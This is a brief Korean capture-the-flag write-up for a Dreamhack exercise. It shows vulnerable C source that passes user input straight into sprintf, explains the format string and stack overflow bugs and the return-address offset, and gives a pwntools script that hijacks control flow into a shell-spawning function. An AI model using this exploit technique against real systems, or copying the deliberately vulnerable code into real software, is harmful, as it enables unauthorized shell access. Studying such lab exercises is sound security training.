풀이

이번 문제는 FSB와 BOF가 모두 사용된 문제이다.

#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

FSB

sprintf는 입력값의 길이에 대한 검사가 없이 사용되고 있으므로 FSB에 의해 익스플로잇될 수 있다. (앞으로는 sprintf_s를 애용하자)

BOF

sprintf를 통해 heap_buf에서 stack_buf의 내용을 바꾸는데 이때 main의 ret 값을 변조시켜 BOF를 일으킬 수 있다. stack_buf와 ret 사이에 0x98 (stack_buf, *heap_buf) + 0x4 (sfp)만큼의 공간이 존재한다.

from pwn import *

p = remote("host1.dreamhack.games", 24316)
elf = ELF("./basic_exploitation_003")

get_shell = elf.symbols['get_shell']

payload = "%156d"
payload += p32(get_shell)

p.send(payload)
p.interactive()

위 코드를 통해 쉘을 실행시킬 수 있다. image